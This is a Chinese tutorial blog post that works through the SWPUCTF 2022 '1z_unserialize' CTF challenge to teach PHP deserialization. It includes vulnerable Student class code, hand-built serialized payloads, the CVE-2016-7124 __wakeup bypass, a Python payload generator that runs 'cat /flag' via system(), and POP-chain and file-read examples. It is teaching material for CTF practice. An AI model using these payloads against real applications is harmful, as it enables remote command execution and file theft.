ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

PHP反序列化漏洞入门:从魔术方法到Payload构造实战

PHP反序列化漏洞入门:从魔术方法到Payload构造实战 提到 SWPUCTF 新生赛很多新手第一反应是去背exp、抄脚本。但“[SWPUCTF 2022 新生赛]1z_unserialize”这道题核心就一个unserialize是我见过最适合把反序列化漏洞从“会抄”变成“会看”的入门题。它不考验什么高深技巧就是把 PHP 反序列化的几个基础知识点串在一起魔术方法何时触发、属性覆盖怎么利用、反序列化字符串怎么手工构造。这篇文章我会从头梳理拿到题目后的分析思路把每一步为什么这样做讲透再给出可直接复现的 EXP 脚本最后把新手最容易卡住的几个细节列成排查清单。适合刚接触 PHP 安全、想系统理解反序列化原理的读者也适合刷题时卡在 payload 构造上的同学对照检查。1. 拿到题目后先看这两样东西源码分析与漏洞入口1.1 一个参数、一个文件漏洞入口就在这打开题目环境页面往往只显示一段 PHP 源码或者干脆只输出?php加一串代码。这正是highlight_file(__FILE__)的效果也就是把当前文件源码高亮显示在页面上。一般来说这类题目的代码结构都很小常见的形式是?php class Student { public $name; public $sex; public $rank; public function __construct($name, $sex, $rank) { $this-name $name; $this-sex $sex; $this-rank $rank; } public function __destruct() { // 目标在这里执行命令 echo $this-name; } public function __wakeup() { foreach ($this-name as $k $v) { $this-$k $v; } } } if (isset($_GET[p])) { unserialize($_GET[p]); } else { highlight_file(__FILE__); } ?这段代码里真正接收外部输入的位置是unserialize($_GET[p])。p参数从 URL 里传入一个字符串然后被 PHP 解析成一个对象。整个题目能不能拿下来就看你能否让这个反序列化过程触发危险的魔术方法并且让方法里的逻辑按你的想法执行。这里的入口非常典型不是所有请求参数都可控而是只有一个unserialize函数。所以不用到处找 SQL 注入、XSS注意力只需要放在“怎么制造一个精心构造的序列化字符串”上。1.2 对象怎么变成字符串又怎么变回对象在写 payload 之前建议先把 PHP 序列化和反序列化的底层机制摸清楚否则后面看网上各种 exp 会很懵。序列化用serialize()作用是把一个 PHP 对象转换成一段纯文本字符串。比如一个Student类实例拥有公开属性name、sex、rank序列化后的结果可能长这样O:7:Student:3:{s:4:name;s:5:admin;s:3:sex;s:1:m;s:4:rank;s:1:1;}这种格式每个符号都有明确含义O代表 Object对象7是类名长度Student是类名3表示对象有 3 个属性后面花括号内是属性的键值对。反序列化unserialize()则是把这段字符串还原成对象。还原过程会触发某些特定方法这些方法统称“魔术方法”。常见的有__wakeup()反序列化时先调用__destruct()对象生命周期结束、脚本执行完毕或被销毁时调用__toString()对象被当作字符串使用时调用__call()调用不存在或不可访问的方法时触发。在这道题里__wakeup()和__destruct()是两个最关键的方法。unserialize()一旦执行PHP 会先检查有没有__wakeup()有就自动调用之后脚本结束对象销毁又会自动调用__destruct()。整个过程不需要你来“手动”调用任何函数只需要你把漏洞点放进构造好的序列化字符串里。这里也可以用生活类比来理解序列化相当于把你的行李打包成一件带有标签的快递包裹反序列化就是拆包裹。拆包裹时有些特殊的“自动行为”会发生比如检查物品清单__wakeup最后扔掉箱子时会做清理__destruct。攻击者要做的就是在包裹里塞入一个“包装过的危险品”让拆箱或清理动作时被打开。2. 代码审计脆弱点的三个关键环节2.1 先看对象里到底有什么可控数据继续分析上面的代码。重点关注__wakeup()public function __wakeup() { foreach ($this-name as $k $v) { $this-$k $v; } }这里把$this-name当作数组进行遍历遍历出来的键名$k被当作属性名键值$v被赋给对应的属性。也就是说如果你能控制name属性的内容你就能在反序列化过程中动态覆盖其他属性。题目里还有其他属性比如sex、rank。正常情况下name应该是一个字符串比如某人的名字。但如果反序列化时攻击者把name构造成一个关联数组比如array( sex male, rank admin )那么在__wakeup()执行时过程相当于第一次循环$k sex$v male执行$this-sex male第二次循环$k rank$v admin执行$this-rank admin。如果题目在__destruct()里这样写public function __destruct() { if ($this-rank admin) { echo $this-name; } }那么你只需要让rank等于admin就能触发后续逻辑。如果没有变量覆盖单纯设置原始属性值为admin当然也可以但这里特意用__wakeup做了一层属性覆盖目的就是考验你是否理解反序列化不仅能还原原有属性还能借助魔术方法修改属性值。实际题目中__destruct不一定只是echo有些题目会写成public function __destruct() { eval($this-name); }或者public function __destruct() { system($this-name); }这时候你不仅需要让rank满足条件还需要把name设置成要执行的命令或恶意代码。所以分析时不能只盯着某一个方法要把魔术方法之间的调用顺序串成一条线。2.2 反序列化绕过那些坑成员数不匹配绕过在 PHP 反序列化漏洞中__wakeup()经常被用作安全限制。例如题目可能要求rank必须等于某个值否则不让执行后续操作。而__wakeup()里又限制了某些值不能被随意覆盖。这时候有一个非常经典的绕过思路修改序列化字符串中表示属性数量的数字。例如原始序列化字符串为O:7:Student:3:{s:4:name;s:5:admin;s:3:sex;s:1:m;s:4:rank;s:1:1;}如果把它改成属性数量大于实际数量O:7:Student:4:{s:4:name;s:5:admin;s:3:sex;s:1:m;s:4:rank;s:1:1;}在部分 PHP 版本尤其是 PHP 7 早期或者某些弱类型题目环境中反序列化时如果属性数量不匹配__wakeup()可能不会被执行。这个绕过技巧在很多新生赛里都会出现名字就叫CVE-2016-7124当序列化字符串中表示对象属性个数的值大于实际的属性个数时__wakeup()的执行会被跳过。不过要注意在新版 PHP 中这个漏洞已经修复直接修改数量可能不会生效。所以拿到题目后先确认环境版本。对于 SWPUCTF 2022 新生赛这类历史题目往往用的就是 PHP 5 或 PHP 7 早期版本这个绕过是有效的。即使环境变新理解这个原理也能帮你建立“反序列化格式可被篡改”的意识。实际上更稳妥的绕过方式是把属性名或值的长度也一并算准。很多人只改数量不改长度结果字符串解析失败。PHP 反序列化对格式要求非常严格键名长度、键值长度、类型标识符一个都不能错。比如s:4:name中的4表示字符串name的长度如果多写一个字符整个对象可能变成__PHP_Incomplete_Class导致后续调用全部失败。3. 从题目到 EXP手工构造 payload 和脚本化利用3.1 不理解序列化格式就永远只能抄脚本很多时候网上给 exp 直接就是?pO:7:Student:...这样一串你拿去提交确实能出 flag但下一次换个类名、换几个属性你可能又不会了。所以这里我强烈建议你先把序列化字符串手写一遍。假设我们要让Student对象在反序列化后name的值为一个数组sexmalerankadmin实际对象属性数量为 2这里不一定是真实的 3取决于你要不要绕过__wakeup第一步写出对象头O:7:Student:2:{这里类名Student是 7 个字符注意区分大小写。第二步写第一个属性name它是一个数组所以格式为s:4:name;a:2:{...}其中a表示 array2表示数组有两个元素。数组的每个键值对也要按序列化格式来写第一个键值对s:3:sex;s:4:male;第二个键值对s:4:rank;s:5:admin;注意键名sex长度是 3rank长度是 4不能数错。值male长度 4admin长度 5。第三步闭合数组和对象}。所以完整结果是O:7:Student:2:{s:4:name;a:2:{s:3:sex;s:4:male;s:4:rank;s:5:admin;}}这个字符串如果直接传给unserialize()会发生什么PHP 解析出对象Student发现对象有一个属性name类型为数组调用__wakeup()遍历name把sex改为malerank改为admin脚本结束对象销毁__destruct()被调用此时rank已经是adminname还是那个数组。但如果__destruct()里执行的是system($this-name)这里name是数组system期望字符串会报错。所以需要进一步构造让name同时兼顾“被__wakeup遍历的数组”和“命令字符串”两个身份。怎么兼顾可以用一个包含命令的数组元素值比如array( sex male, rank admin, name id )这样在__wakeup遍历时$k name$v id执行$this-name id。也就是说最后一次循环把name覆盖成了一个字符串命令。之后__destruct()调用system($this-name)时执行的命令就是id。对应序列化字符串为O:7:Student:3:{s:4:name;a:3:{s:3:sex;s:4:male;s:4:rank;s:5:admin;s:4:name;s:2:id;}}这里对象属性数量写的是3因为name数组里有 3 个元素但对象自身属性实际只有 2 个可见属性name和sex、rank因为变量覆盖会动态产生。对于 PHP 反序列化来说只要对象属性数量与花括号内的属性数量不完全匹配就可能触发__wakeup绕过。要想不触发__wakeup可以写O:7:Student:4:{...}让预期数量大于实际数量。3.2 Python 脚本生成 payload 与 URL 编码技巧手写字符串容易出错尤其是长度计算。建议用 Python 的pickle不行我们要生成 PHP 序列化字符串用 Python 写一个生成器最简单可以避免手算长度。下面给一个完整的生成脚本并假设题目最终执行system($this-name)import requests def php_serialize_str(key, value): # 仅处理字符串键和字符串值 return s:{}:{};s:{}:{};.format(len(key), key, len(value), value) # 目标类名和属性 class_name Student obj_prop_count 3 # 这个可以按需修改用于绕过 __wakeup # name 会被构造成数组 name_array_items [ (sex, male), (rank, admin), (name, cat /flag) ] inner for k, v in name_array_items: inner php_serialize_str(k, v) # 构造 name 属性字符串类型? 这里 name 本身在序列化时类型应为 array name_serialized s:4:name;a:{}:{{{}}}.format(len(name_array_items), inner) # 构造整个对象 payload O:{}:{}:{}:{{{}}}.format(len(class_name), class_name, obj_prop_count, name_serialized) print(payload) # 如果题目使用 GET 方式传递并且 URL 编码会自动解析 url http://target/?p requests.utils.quote(payload) print(url)使用requests.utils.quote()会自动对特殊字符进行 URL 编码。注意PHP 反序列化的字符串里会有;、{、}、等字符如果不编码或编码方式不对Web 服务器可能不会完整传递。requests.utils.quote()默认不会编码/?但这里 payload 里没有这些字符所以问题不大。还有一点URL 传递时号会被解析为空格所以如果 payload 中有字符需要用urllib.parse.quote_plus来编码或者手动把替换为%2B。上面的脚本生成的 payload 一般不包含所以用quote就够了。拿到 URL 后直接在浏览器访问可以看到命令执行结果。例如id命令会输出uid33(www-data)之类的信息cat /flag如果文件存在就会输出 flag 内容。实际题目里命令可能不是cat /flag而可能是根目录下flag.php、flag.txt等。建议先执行ls /或者find / -name *flag*探测一下再决定读取哪个文件。4. 常见问题与排查技巧实录4.1 为什么打不通序列化格式细节我见过很多人在反序列化题目上卡住最后发现不是思路不对而是字符串格式写错了一个长度。这里把最常见的问题列成表格方便对照排查现象可能原因解决办法输出__PHP_Incomplete_Class类名长度错误或类名不存在检查O:后面的数字是否等于类名的字节长度提示unserialize(): Error at offset字符串中某个键/值长度不对逐个核对s:n:...中的n中文字符占 3 字节注意编码页面无输出但不报错可能没有命中__destruct中的判断条件确认是否成功覆盖rank等关键属性或需要绕过__wakeup__wakeup总是执行PHP 版本太新CVE 已修复改用属性名覆盖直接让name数组里包含name键最终覆盖为字符串命令执行报错Array to string conversion__destruct执行时name仍是数组在name数组中加入name键使其被覆盖为字符串空格、引号导致 payload 失效URL 编码不完整用urllib.parse.quote或requests.utils.quote编码后提交这里特别强调一下反序列化字符串对字符长度极其敏感。PHP 的serialize()输出的长度是以字节为单位的。例如中文“你好”在 UTF-8 下占 6 个字节序列化后是s:6:你好不能把 6 写成 2。好在大多数题目环境中都是纯 ASCII 的命令和类名不容易出现中文但如果你在 Windows 下用记事本编辑脚本保存成带 BOM 的 UTF-8就可能在字符串开头多几个不可见字节导致长度判断出错。建议统一用 VS Code 或 Python 脚本生成 payload。4.2 绕过__wakeup还没有失效那试试属性覆盖有些时候你以为改了属性数量就能绕过__wakeup但发现它还是执行了。这是因为题目环境是 PHP 7.4或者底层已经修复了 CVE-2016-7124。这时不要硬刚绕过而是利用__wakeup本身的逻辑。回到源码__wakeup的意图是遍历name数组并覆盖属性。既然无法阻止它执行那就设计成让它帮我们完成目标。比如public function __wakeup() { foreach ($this-name as $k $v) { $this-$k $v; } }这个循环天然会把name数组的键值赋给同名的属性。如果你想让rank变成admin就让name数组里有rank admin。想让__destruct里执行的命令是cat /flag就让name数组里有name cat /flag因为在遍历过程中$this-name会被更新为字符串。如果担心遍历顺序导致覆盖结果不确定可以在数组里把name键放在最后确保最终$this-name是命令字符串。PHP 数组默认按插入顺序遍历所以这个顺序是可控的。我实际测试中按数组里的顺序覆盖只要键名不冲突最终结果就是你想要的。这种“顺着逻辑利用”的思想比死记绕过更有通用性。很多看起来有限制的反序列化题目其实限制本身就是突破点。比如__wakeup做了白名单检查你可以寻找白名单里允许的某个键再联动到__destruct。4.3 用本地环境验证 payload少走弯路打远程靶机前强烈建议先在本地搭一个 PHP 环境验证 payload。不需要什么高配置装个 PHP 命令行工具就够了php -r class Student { public $name; public $sex; public $rank; public function __wakeup() { foreach ($this-name as $k$v) { $this-$k$v; } } public function __destruct() { system($this-name); } } $p $_GET[p]; unserialize($p);然后本地起个 PHP 内置服务器php -S 127.0.0.1:8080 test.php访问http://127.0.0.1:8080/?p...调试。这样能直观看到 PHP 报错信息确认 payload 是否合法。远程环境下很多错误会被隐藏只能靠盲测效率很低。本地验证时建议把error_reporting(E_ALL)打开这样能显示unserialize()的错误偏移位置。比如 PHP 会提示unserialize(): Error at offset 12 of 34 bytes这里的 offset 能帮你快速定位是哪个字符写错了。5. 从这道题延伸出去反序列化漏洞还能怎么考5.1 从__destruct到 POP 链“1z_unserialize”只是一个简单的单类反序列化。新生赛里常见还有一道“[SWPUCTF 2021 新生赛]pop”考的就是 POP 链。POP 链Property-Oriented Programming本质上是把多个对象的魔术方法串联起来通过一次反序列化在方法调用链上逐步触发危险操作。比如 A 类__wakeup会调用$this-obj-method()而 B 类的某个方法又会调用system($this-cmd)。你只需要构造$a new A(); $a-obj new B(); $a-obj-cmd cat /flag;序列化后传给unserialize()反序列化时 A 的__wakeup调用 B 的method()B 的method()里执行system($this-cmd)最终拿到 flag。POP 链难在寻找可以利用的“跳板”方法以及处理魔术方法之间的调用关系。但从原理上讲和这道题一模一样都是控制对象的属性影响后续方法行为。5.2 更隐蔽的利用__toString与文件读取如果题目里存在__toString方法并且有文件读取函数file_get_contents、show_source等你也可以构造类似链路。比如class Read { public $file; public function __toString() { return file_get_contents($this-file); } } class Echo { public $obj; public function __destruct() { echo $this-obj; } }当Echo类对象销毁时echo $this-obj会把obj属性当字符串输出如果obj是Read对象就会触发Read::__toString()进而读取$this-file指定的文件。这种玩法在实际题目中很常见。理解了最基础的属性覆盖和魔术方法触发顺序遇到这些变种就不会慌了。说到底PHP 反序列化题的套路就是找参数入口 - 找魔术方法 - 找危险函数 - 构造属性关系。即便环境换成 Java 的ObjectInputStream、Python 的pickle思路也是相通的。5.3 怎么自己动手复现和扩展如果你不想依赖在线靶场本地可以这样练习写一个包含漏洞的小应用比如一个类有__wakeup属性覆盖__destruct执行命令用serialize()正常生成一个对象打印出序列化字符串观察格式手工修改字符串改变属性值或属性数量验证__wakeup是否被绕过尝试构造 attacker 控制的序列化字符串让本地站点执行ls、cat等命令给类增加方法、增加类练习 POP 链组合。这一步做完你基本就把反序列化的核心姿势都过了一遍。以后看到类似的题目不会再无从下手。6. 一套可以直接用的思考框架最后总结一下我在做反序列化题时常用的思考顺序不是让你背流程而是帮你减少漏项。第一步确定入口代码里有没有unserialize、json_decode 对象恢复、\__PHP_Incomplete_Class处理等函数。这道题的入口就是unserialize($_GET[p])。第二步列出所有魔术方法和它们的触发时机。__construct对象创建时触发但反序列化一般不触发__wakeupunserialize时触发__destruct对象销毁或脚本结束时触发__toString对象被当作字符串时触发__call调用不存在的方法时触发。第三步追踪每个魔术方法里调用了哪些危险操作。常见危险函数包括system、exec、eval、file_get_contents、include、unlink、call_user_func。这道题里危险操作在__destruct。第四步思考如何控制触发危险操作的属性。如果__wakeup有限制就看能不能利用限制本身的变量覆盖能力如果不能再看能否绕过__wakeup。第五步手工构造 payload 并本地验证正确后再打远程。这套框架不仅适用于 SWPUCTF 新生赛也适用于其他平台的反序列化入门题。熟练之后你甚至可以尝试编写一个小工具输入类源码自动生成可用的 payload。很多成熟的工具像 PHPGGCPHP Generic Gadget Chains就是基于这种思路做出来的但我不建议一开始就依赖它手工构造几遍长度计算、触发链理解都会扎实很多。回到“1z_unserialize”这道题它考察的并不是某个冷门 CVE而是最基础的反序列化思维。把这道题啃下来后续再碰到包含__wakeup、__destruct的变种题你会觉得豁然开朗。我个人练习时的最大体会是一定要动手写一次 payload不要在浏览器里直接拷贝答案。手写一遍你对序列化格式的记忆会形成肌肉记忆以后再遇到“改变属性数量绕过__wakeup”这类的操作几乎不用思考就能反应出要改哪个位置。
返回列表